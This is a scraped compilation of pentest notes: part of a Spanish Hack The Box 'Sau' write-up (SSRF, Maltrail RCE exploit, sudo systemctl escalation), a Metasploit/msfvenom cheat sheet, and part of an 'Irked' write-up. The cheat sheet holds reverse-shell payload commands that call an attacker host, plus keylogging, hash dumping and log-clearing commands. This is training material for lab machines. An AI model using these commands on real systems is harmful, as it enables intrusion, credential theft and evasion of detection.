evitando efectivamente las restricciones de red anteriores y obteniendo acceso al servidor web de Flask, que debería haberse restringido solo al acceso local. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#poc) PoC En este contexto, vimos que había algunos puertos de la aplicación filtrados (80 y 8338), quizás si conseguimos explotar la vulnerabilidad SSRF en este puerto podamos redirigir peticiones a los servicios de los otros puertos a los que no tenemos acceso. La explotación del ataque SSRF nos puede permitir el acceso no autenticado a cualquier servidor HTTP conectado a la misma red que el servidor Request-Baskets. En primer lugar creamos una cesta para intentar aprovechar la vulnerabilidad SSRF para enumerar los servicios internos que se ejecutan en la máquina internos que se ejecutan en la máquina.: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-03021fca62acdac71ebfd304292ad191d985a9d1%252FPasted%2520image%252020250505151959.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=1aa2b80f&sv=2) Para comprobar si la instancia es vulnerable, primero iniciamos una escucha Netcat en el puerto 8000 e intentamos enviar una petición HTTP a nuestra IP. Ahora que ya tenemos nuestro listener Netcat funcionando, podemos proceder a iniciar una petición para determinar si se ha establecido una conexión con nuestro listener. Para ello, debemos modificar la URL de solicitud dentro de la cesta creada para que coincida con la dirección IP de nuestra máquina atacante. Hacemos clic en el signo de engranaje en la esquina superior izquierda de nuestra cesta para que aparezcan los ajustes de configuración. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-672b31f4833024390a70386024fee970bf7103cd%252FPasted%2520image%252020250505152316.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=9ab41525&sv=2) Ahora podemos lanzar un curl para verificar que recibimos la petición en nuestro listener ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fctfs%2Fhack-the-box%2Flinux%2Feasy%2Fsau%2Fimages%2FPasted%2520image%252020250505152422..png&width=768&dpr=3&quality=100&sign=9593c4b0&sv=2) Ya que hemos descubierto que la instancia es vulnerable y el escaneo Nmap mostró el puerto 80 como filtrado, podemos usar esto para comprobar qué servicio se ejecuta en el puerto. Editaremos nuestra configuración proxy de nuevo y estableceremos la URL de reenvío en http://127.0.0.1:80 . También habilitaremos los siguientes ajustes: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-47e8a1f9a63651f6f3873fcf242920b6e4ef5d2e%252FPasted%2520image%252020250505152835.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=10e1ac21&sv=2) Proxy Response - Esto permite que la cesta se comporte como un proxy completo: respuestas del servicio subyacente configurado en forward\_url. configurado en forward\_url se devuelven a los clientes de las solicitudes originales. La configuración de configuración de las respuestas de la cesta se ignora en este caso. Expandir ruta de reenvío - Con esta opción, la ruta de la URL de reenvío se expandirá cuando la petición HTTP original contiene una ruta compuesta. Ahora basta con acceder a: http://10.10.11.224:55555/web/test y accederemos con éxito al servicio del puerto 80 que estaba filtrado: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-ba48bd31e22bfdb1afb530b22c783a9aaa75407b%252FPasted%2520image%252020250505152936.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=f1d97f9e&sv=2) Al acceder al servicio, vemos que se trata de un servicio mailtrail v0.53 el cual parece que es vulnerable a Unauthenticated OS Command Injection (RCE): **Mailtrail -Unauthenticated OS Command Injection (RCE)** Maltrail versión 0.53 contiene una vulnerabilidad de inyección de comandos del sistema operativo que no requiere autenticación. Esta vulnerabilidad se encuentra en el parámetro `username` del endpoint de login, permitiendo ejecutar comandos arbitrarios en el servidor. El vector de ataque consiste en: 1. Enviar una petición POST al endpoint `/login` 2. Inyectar comandos en el parámetro `username` 3. Los comandos se ejecutan con los privilegios del usuario que ejecuta el servicio Maltrail https://github.com/spookier/Maltrail-v0.53-Exploit ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-acacace18217a08c8c14075145624e2b6953b337%252FPasted%2520image%252020250505153319.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=f8e65886&sv=2) ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-0a01ed767fc45886fa5e9a4a2347d943bb920457%252FPasted%2520image%252020250505153328.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=15134779&sv=2) Hacemos un spawn de la tty: Capturamos la flag del directorio /home/puma: **🔐 Escalada de Privilegios** Verificamos si el usuario puma puede ejecutar algún binario como root: Podemos abusar de este binario para escalar privilegios tal como se describe en: https://gtfobins.github.io/gtfobins/systemctl/ ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fctfs%2Fhack-the-box%2Flinux%2Feasy%2Fsau%2Fimages%2FPasted%2520image%252020250505154052..png&width=768&dpr=3&quality=100&sign=df03b797&sv=2) [PreviousHelpchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/help) [NextBrokerchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker) Last updated 9 months ago * [📝 Descripción](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#descripcion) * [🚀 Metodología](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#metodologia) * [🔭 Reconocimiento](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#reconocimiento) * [🔍 Análisis de Vulnerabilidades](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#analisis-de-vulnerabilidades) Copy ❯ ping -c2 10.10.11.224 PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data. 64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=50.3 ms 64 bytes from 10.10.11.224: icmp_seq=2 ttl=63 time=47.9 ms --- 10.10.11.224 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 47.932/49.097/50.262/1.165 ms Copy ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.224 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//) Copy echo $ports 22,80,8338,55555 Copy nmap -sC -sV -p$ports 10.10.11.224 Copy PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA) | 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA) |_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519) 80/tcp filtered http 8338/tcp filtered unknown 55555/tcp open http Golang net/http server | http-title: Request Baskets |_Requested resource was /web | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 400 Bad Request | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Mon, 05 May 2025 12:15:59 GMT | Content-Length: 75 | invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$ | GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Content-Type: text/html; charset=utf-8 | Location: /web | Date: Mon, 05 May 2025 12:15:41 GMT | Content-Length: 27 | href="/web">Found. | HTTPOptions: | HTTP/1.0 200 OK | Allow: GET, OPTIONS | Date: Mon, 05 May 2025 12:15:42 GMT | Content-Length: 0 | OfficeScan: | HTTP/1.1 400 Bad Request: missing required Host header | Content-Type: text/plain; charset=utf-8 | Connection: close |_ Request: missing required Host header 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Copy nc -nlvp 8000 Copy curl http://10.10.11.224:55555/test Copy python3 exploit.py 10.10.14.8 1234 http://10.10.11.224:55555/test Copy SHELL=/bin/bash script -q /dev/null Copy cat user.txt *************c6911648d77c65eeec puma@sau:~$ Copy puma@sau:~$ sudo -l Matching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service Copy sudo /usr/bin/systemctl status trail.service !sh Copy # id id uid=0(root) gid=0(root) groups=0(root) # cd /root cd /root # cat root.txt cat root.txt d9a74************56f54743813 --- # Metasploit Framework | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#introduction) **Introduction** ------------------------------------------------------------------------------------------------------------------------------------------------ > The Metasploit Framework is a Ruby-based penetration testing platform that writing, testing, and executing exploit code. Metasploit contains a suite of tools to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#msfconsole-commands) **MSFconsole Commands** -------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description show exploits Show all exploits within the Framework. show payloads Show all payloads within the Framework. setg Set a specific value globally (for example, LHOST or RHOST). show options Show the options available for a module or exploit. show targets Show the platforms supported by the exploit. set target Specify a specific target index if you know the OS and service pack. set payload Specify the payload to use. show advanced Show advanced options. sessions -l List available sessions (used when handling multiple shells). sessions -i Interact with a session sessions -K Kill all live sessions. sessions -c Execute a command on all live Meterpreter sessions. sessions -u Upgrade a normal Win32 shell to a Meterpreter console. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#meterpreter-commands) **Meterpreter Commands** ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description migrate Migrate to the specific process ID (PID is the target process ID gained from the ps command). list\_tokens -u List available tokens on the target by user. list\_tokens -g List available tokens on the target by group. impersonate\_token Impersonate a token available on the target. steal\_token Steal the tokens available for a given process and impersonate that token. drop\_token Stop impersonating the current token. getsystem Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors. shell Drop into an interactive shell with all available tokens. execute -f -i Execute cmd.exe and interact with it. execute -f -i -t Execute cmd.exe with all available tokens. execute -f -i -H -t Execute cmd.exe with all available tokens and make it a hidden process. rev2self Revert back to the original user you used to compromise the target. reg Interact, create, delete, query, set, and much more in the target’s registry. setdesktop Switch to a different screen based on who is logged in. screenshot Take a screenshot of the target’s screen. upload Upload a file to the target. download Download a file from the target. keyscan\_start Start sniffing keystrokes on the remote target. keyscan\_dump Dump the remote keys captured on the target. keyscan\_stop Stop sniffing keystrokes on the remote target. getprivs Get as many privileges as possible on the target. uictl enable Take control of the keyboard and/or mouse. background Run your current Meterpreter shell in the background. hashdump Dump all hashes on the target. use sniffer Load the sniffer module. sniffer\_interfaces List the available interfaces on the target. sniffer\_dump pcapname Start sniffing on the remote target. sniffer\_start packet-buffer Start sniffing with a specific range for a packet buffer. sniffer\_stats Grab statistical information from the interface you are sniffing. sniffer\_stop Stop the sniffer. add\_user -h Add a user on the remote target. add\_group\_user <"Domain Admins"> -h Add a username to the Domain Administrators group on the remote target. clearev Clear the event log on the target machine. timestomp Change file attributes, such as creation date (antiforensics measure). reboot Reboot the target machine. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#common-meterpreter-payloads-for-windows) **Common Meterpreter Payloads for Windows** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Payload Description generic/custom Generic listener, multi-use generic/shell\_bind\_tcp Generic listener, multi-use, normal shell, TCP connection binding generic/shell\_reverse\_tcp Generic listener, multi-use, normal shell, reverse TCP connection windows/x64/exec Executes an arbitrary command (Windows x64) windows/x64/loadlibrary Loads an arbitrary x64 library path windows/x64/messagebox Spawns a dialog via MessageBox using a customizable title, text & icon windows/x64/shell\_reverse\_tcp Normal shell, single payload, reverse TCP connection windows/x64/shell/reverse\_tcp Normal shell, stager + stage, reverse TCP connection windows/x64/shell/bind\_ipv6\_tcp Normal shell, stager + stage, IPv6 Bind TCP stager windows/x64/meterpreter/$ Meterpreter payload + varieties above windows/x64/powershell/$ Interactive PowerShell sessions + varieties above windows/x64/vncinject/$ VNC Server (Reflective Injection) + varieties above * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#importing-external-exploits-into-msfconsole) **Importing External Exploits into MSFConsole** -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > The default directory where all the modules, scripts, plugins, and `msfconsole` proprietary files are stored is `/usr/share/metasploit-framework` Alternatively, you can use the folder `/home/username/.msf4` To import a module, you just need to copy it in one of the previous folders and use the `reload_all` command. Alternatively, you can load a module at runtime by using `loadpath /usr/share/metasploit-framework/modules/`\\ * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#meterpreter-pivoting) **Meterpreter Pivoting** ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description portfwd add -R -l 8443 -p 1234 -L 10.10.14.15 Set up a local port forwarding rule to forward all traffic destined to port 1234 on 10.10.14.15 to port 8443 on our attack host run autoroute -s 172.16.9.0/23 set up a route to the 172.16.9.0/23 subnet * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#msfconsole-and-msfvenom) **Msfconsole & Msfvenom** -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Commands Description use exploit/windows/smb/psexec Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec shell Command used in a meterpreter shell session to drop into a system shell msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf MSFvenom command used to generate a linux-based reverse shell stageless payload msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe MSFvenom command used to generate a Windows-based reverse shell stageless payload msfvenom -p osx/x86/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho MSFvenom command used to generate a MacOS-based reverse shell payload msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp MSFvenom command used to generate a ASP web reverse shell payload msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp MSFvenom command used to generate a JSP web reverse shell payload msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload use auxiliary/scanner/smb/smb\_ms17\_010 Metasploit exploit module used to check if a host is vulnerable to ms17\_010 use exploit/windows/smb/ms17\_010\_psexec Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17\_010 use exploit/linux/http/rconfig\_vendors\_auth\_file\_upload\_rce Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6 * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#utilities-exploit-suggester-and-hashdump) **Utilities - Exploit Suggester & HashDump** -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * `local_exploit_suggester`: useful module for privesc * `hashdump` or `comando lsa_dump_secrets` or `lsa_dump_sam`: commands to dump all passwords \\ * Disclaimer: before using `hashdump` you need to ensure to have `root` or `nt authority system` privileges * To do that, use `ps` to check the permissions of the current process you are on, then use `migrate PID` on a root process, if you aren't root already [PreviousShells and Payloadschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads) [NextFile Transferschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/file-transfers) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#introduction) * [MSFconsole Commands](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#msfconsole-commands) * [Meterpreter Commands](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#meterpreter-commands) * [Common Meterpreter Payloads for Windows](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#common-meterpreter-payloads-for-windows) * [Importing External Exploits into MSFConsole](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#importing-external-exploits-into-msfconsole) * [Meterpreter Pivoting](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#meterpreter-pivoting) * [Msfconsole & Msfvenom](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#msfconsole-and-msfvenom) * [Utilities - Exploit Suggester & HashDump](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/metasploit-framework#utilities-exploit-suggester-and-hashdump) --- # Irked | Pentest Notes ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-56a7b3165a624d2c06a9fd5fc95bc2fcc0e83166%252FIrked.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=286a1c4d&sv=2) **Publicado:** 25 de Mayo de 2025 **Autor:** José Miguel Romero aKa **x3m1Sec** **Dificultad:** ⭐ Easy ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#descripcion) 📝 Descripción **Irked** es una máquina Linux de dificultad Easy que presenta múltiples vectores de ataque interesantes. La explotación inicial se basa en una backdoor conocida en UnrealIRCd 3.2.8.1, que permite la ejecución remota de comandos. Para obtener acceso al usuario, se requiere el uso de técnicas de esteganografía para extraer credenciales ocultas en una imagen. La escalada de privilegios se logra mediante la explotación de un binario personalizado con permisos SUID que puede ser manipulado a través de Path Hijacking. Esta máquina es excelente para practicar: * Enumeración de servicios IRC * Explotación de backdoors conocidas * Técnicas de esteganografía básica * Escalada de privilegios mediante SUID y Path Hijacking * Análisis de binarios con herramientas como `strings` ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#reconocimiento) 🔭 Reconocimiento #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#ping-para-verificacion-en-base-a-ttl) Ping para verificación en base a TTL > 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#escaneo-de-puertos) Escaneo de puertos #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#enumeracion-de-servicios) Enumeración de servicios * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#enumeracion-web) 🌐 Enumeración Web #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#id-80-http) 80 HTTP ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-24cec30109a28fe49b5ffa342e93955a596de995%252FPasted%2520image%252020250525132715.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=6406a0e7&sv=2) Realizamos fuzzing de directorios con feroxbuster pero no vemos mucho más que rascar aquí. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#id-6697-unrealirc) 6697 UnrealIRC Buscamos sobre formas de enumerar este servicio y encontramos esta documentación de nmap: https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html Existe un script de nmap para verificar si es una versión backdorizable de unrealircd ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-14706fbb74ab567b2de67097659dbfc4bd73d12c%252FPasted%2520image%252020250525133331.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=41f86f1e&sv=2) Ejecutamos nmap con este script contra los puertos del servicio unrealircd: Nos confirma que parece que se trata de una versión troyanizada ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-e2c7707879cd0ec78e4027190b8e3dbddd0dd226%252FPasted%2520image%252020250525133628.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=7199c5e9&sv=2) ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#explotacion) 💻 Explotación Buscamos un exploit y lo descargamos Editamos la ip y el puerto en el código del script para usar los de nuestro host de ataque: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-476ba4fb9313619198a9dd58ddbfee4e358d4969%252FPasted%2520image%252020250525134004.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=30b32c7&sv=2) Ejecutamos el exploit y ganamos acceso al sistema: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-f3d6704382f948b910a7792c7a35747b1fb91b5d%252FPasted%2520image%252020250525134213.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=5be4d852&sv=2) #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#mejora-de-la-shell) Mejora de la shell #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#initial-foothold) Initial foothold Enumeramos los usuarios de la máquina y vemos que hay dos djmardov y ircd La primera flag se encuentra en el usuario djmardov pero no tenemos permisos: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fctfs%2Fhack-the-box%2Flinux%2Feasy%2Firked%2Fimages%2FPasted%2520image%25202025052513453.png&width=768&dpr=3&quality=100&sign=36780626&sv=2) En el directorio Documents del usuario djmardov encontramos un archivo oculto llamado backup que contiene una contraseña: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-68fd8ad359ca447976cb1abc2f8255c7fa69eadf%252FPasted%2520image%252020250525134705.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=2e728e78&sv=2) Verificamos si el usuario djmardow está reutilizándola e intentamos autenticarnos con ella pero no funciona. Prestamos especial atención al mensaje junto a la contraseña "Super elite steg backup pw" podría dar a entender que se está usando steganografía, recordemos que vimos una imagen en el servicio del puerto 80: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-e0e453abcdf84984c5e8ab46402bc722f98001fc%252FPasted%2520image%252020250525135120.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=bc88b28f&sv=2) Vamos a descargarla y revisar con alguna herramienta como steghide si tiene algo oculto especificando la contraseña obtenida anteriormente: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-17fcafbcf7adcd41dca06e74061cb37be7cb895c%252FPasted%2520image%252020250525135427.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=807952fe&sv=2) Parece que había un fichero oculto llamado pass.txt en la imagen con una contraseña: !\[\[Pasted image 20250525135448.png\]\] ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-9bedb22f1707aaf45ddbb164521e8b764c08d3c9%252FPasted%2520image%252020250525135448.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=c59d0121&sv=2) Logramos autenticarnos con ella con el usuario djmardov y obtener la primera flag: #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/irked#escalada-de-privilegios) 👑 Escalada de privilegios Buscamos archivos con permisos SUID Vemos uno poco común que merece la pena analizar: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-19a7ae55532cc352cfe1ac56403836c2855cf59b%252FPasted%2520image%252020250525140237.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=37f90152&sv=2) La ejecutamos y encontramos un banner donde se indica que la aplicación que se usa para establecer y ver permisos de usuario y que aún está en desarrollo. Dado que es un binario, probamos a usar strings para ver qué comandos se están usando: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-4c6e50a49e6a4f7e6f2b6d71e03038a719629108%252FPasted%2520image%252020250525140422.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=63163232&sv=2) ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-58059bade49606148cbe043e51f840f7fa168826%252FPasted%2520image%252020250525140441.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=89aa4427&sv=2) El bit SUID está configurado para este archivo. ¿Qué significa eso? Significa que se ejecutará con el nivel de privilegio que coincida con el usuario que posee este archivo. **Dado que el archivo es propiedad de root, el archivo se ejecutará con privilegios de root.** Vamos a crear un archivo en /tmp/listusers y hacemos que ejecuta una bash shell: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-18a6f63654d5af98bce4174e257ceb7dd6fe0ccc%252FPasted%2520image%252020250525140951.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=93bb5fec&sv=2) Ya somos root y 